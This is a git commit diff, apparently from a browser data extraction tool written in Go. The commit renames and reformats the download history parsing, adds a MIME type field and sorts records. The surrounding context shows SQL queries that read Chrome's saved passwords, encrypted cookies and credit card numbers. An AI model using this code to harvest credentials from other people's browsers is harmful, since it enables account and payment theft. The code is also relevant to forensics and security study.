style: format download history struct

pull/83/head
moond4rk 4 years ago committed by ᴍᴏᴏɴD4ʀᴋ
parent 0620dbc22d
commit 963df0dbf5
  1. 8
      core/browser.go
  2. 20
      core/data/output.go
  3. 64
      core/data/parse.go

@ -46,7 +46,7 @@ const (
cookie = "cookie"
history = "history"
bookmark = "bookmark"
downloadHistory = "downloadHistory"
download = "download"
password = "password"
creditcard = "creditcard"
)
@ -75,9 +75,9 @@ var (
mainFile: data.ChromeHistoryFile,
newItem: data.NewHistoryData,
},
downloadHistory: {
mainFile: data.ChromeHistoryFile,
newItem: data.NewDownloadHistoryData,
download: {
mainFile: data.ChromeDownloadFile,
newItem: data.NewDownloads,
},
password: {
mainFile: data.ChromePasswordFile,

@ -42,13 +42,13 @@ func (h *historyData) outPutJson(browser, dir string) error {
return nil
}
func (d *downloadHistoryData) outPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "download_history", "json")
err := writeToJson(filename, d.downloadHistory)
func (d *downloads) outPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "download", "json")
err := writeToJson(filename, d.downloads)
if err != nil {
return err
}
fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(d.downloadHistory), filename)
fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(d.downloads), filename)
return nil
}
@ -121,12 +121,12 @@ func (h *historyData) outPutCsv(browser, dir string) error {
return nil
}
func (d *downloadHistoryData) outPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "download_history", "csv")
if err := writeToCsv(filename, d.downloadHistory); err != nil {
func (d *downloads) outPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "download", "csv")
if err := writeToCsv(filename, d.downloads); err != nil {
return err
}
fmt.Printf("%s Get %d download history, filename is %s \n", utils.Prefix, len(d.downloadHistory), filename)
fmt.Printf("%s Get %d download history, filename is %s \n", utils.Prefix, len(d.downloads), filename)
return nil
}
@ -205,8 +205,8 @@ func (h *historyData) outPutConsole() {
}
}
func (d *downloadHistoryData) outPutConsole() {
for _, v := range d.downloadHistory {
func (d *downloads) outPutConsole() {
for _, v := range d.downloads {
fmt.Printf("%+v\n", v)
}
}

@ -39,6 +39,7 @@ const (
ChromeCreditFile = "Web Data"
ChromePasswordFile = "Login Data"
ChromeHistoryFile = "History"
ChromeDownloadFile = "History"
ChromeCookieFile = "Cookies"
ChromeBookmarkFile = "Bookmarks"
FirefoxCookieFile = "cookies.sqlite"
@ -51,7 +52,7 @@ var (
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
queryChromiumDownloadHistory = `SELECT target_path, tab_url, total_bytes, start_time, end_time FROM downloads`
queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places`
queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks`
@ -448,17 +449,17 @@ func (h *historyData) OutPut(format, browser, dir string) error {
}
}
type downloadHistoryData struct {
type downloads struct {
mainPath string
downloadHistory []downloadHistory
downloads []download
}
func NewDownloadHistoryData(main, sub string) Item {
return &downloadHistoryData{mainPath: main}
func NewDownloads(main, sub string) Item {
return &downloads{mainPath: main}
}
func (d *downloadHistoryData) ChromeParse(key []byte) error {
historyDB, err := sql.Open("sqlite3", ChromeHistoryFile)
func (d *downloads) ChromeParse(key []byte) error {
historyDB, err := sql.Open("sqlite3", ChromeDownloadFile)
if err != nil {
return err
}
@ -467,49 +468,50 @@ func (d *downloadHistoryData) ChromeParse(key []byte) error {
log.Error(err)
}
}()
rows, err := historyDB.Query(queryChromiumDownloadHistory)
rows, err := historyDB.Query(queryChromiumDownload)
if err != nil {
return err
}
defer func() {
if err := rows.Close(); err != nil {
log.Debug(err)
log.Error(err)
}
}()
for rows.Next() {
var (
target_path, tab_url string
total_bytes, start_time, end_time int64
targetPath, tabUrl, mimeType string
totalBytes, startTime, endTime int64
)
err := rows.Scan(&target_path, &tab_url, &total_bytes, &start_time, &end_time)
data := downloadHistory{
TargetPath: target_path,
Url: tab_url,
TotalBytes: total_bytes,
StartTime: utils.TimeEpochFormat(start_time),
EndTime: utils.TimeEpochFormat(end_time),
err := rows.Scan(&targetPath, &tabUrl, &totalBytes, &startTime, &endTime, &mimeType)
data := download{
TargetPath: targetPath,
Url: tabUrl,
TotalBytes: totalBytes,
StartTime: utils.TimeEpochFormat(startTime),
EndTime: utils.TimeEpochFormat(endTime),
MimiType: mimeType,
}
if err != nil {
log.Error(err)
}
d.downloadHistory = append(d.downloadHistory, data)
d.downloads = append(d.downloads, data)
}
return nil
}
func (d *downloadHistoryData) FirefoxParse() error {
func (d *downloads) FirefoxParse() error {
return nil
}
func (d *downloadHistoryData) CopyDB() error {
func (d *downloads) CopyDB() error {
return copyToLocalPath(d.mainPath, filepath.Base(d.mainPath))
}
func (d *downloadHistoryData) Release() error {
func (d *downloads) Release() error {
return os.Remove(filepath.Base(d.mainPath))
}
func (d *downloadHistoryData) OutPut(format, browser, dir string) error {
func (d *downloads) OutPut(format, browser, dir string) error {
switch format {
case "csv":
err := d.outPutCsv(browser, dir)
@ -673,6 +675,7 @@ func (p *passwords) Release() error {
}
func (p *passwords) OutPut(format, browser, dir string) error {
sort.Sort(p)
switch format {
case "csv":
err := p.outPutCsv(browser, dir)
@ -881,12 +884,13 @@ type (
VisitCount int
LastVisitTime time.Time
}
downloadHistory struct {
download struct {
TargetPath string
Url string
TotalBytes int64
StartTime time.Time
EndTime time.Time
MimiType string
}
card struct {
GUID string
@ -909,6 +913,18 @@ func (p passwords) Swap(i, j int) {
p.logins[i], p.logins[j] = p.logins[j], p.logins[i]
}
func (d downloads) Len() int {
return len(d.downloads)
}
func (d downloads) Less(i, j int) bool {
return d.downloads[i].StartTime.After(d.downloads[j].StartTime)
}
func (d downloads) Swap(i, j int) {
d.downloads[i], d.downloads[j] = d.downloads[j], d.downloads[i]
}
func copyToLocalPath(src, dst string) error {
locals, _ := filepath.Glob("*")
for _, v := range locals {

Loading…
Cancel
Save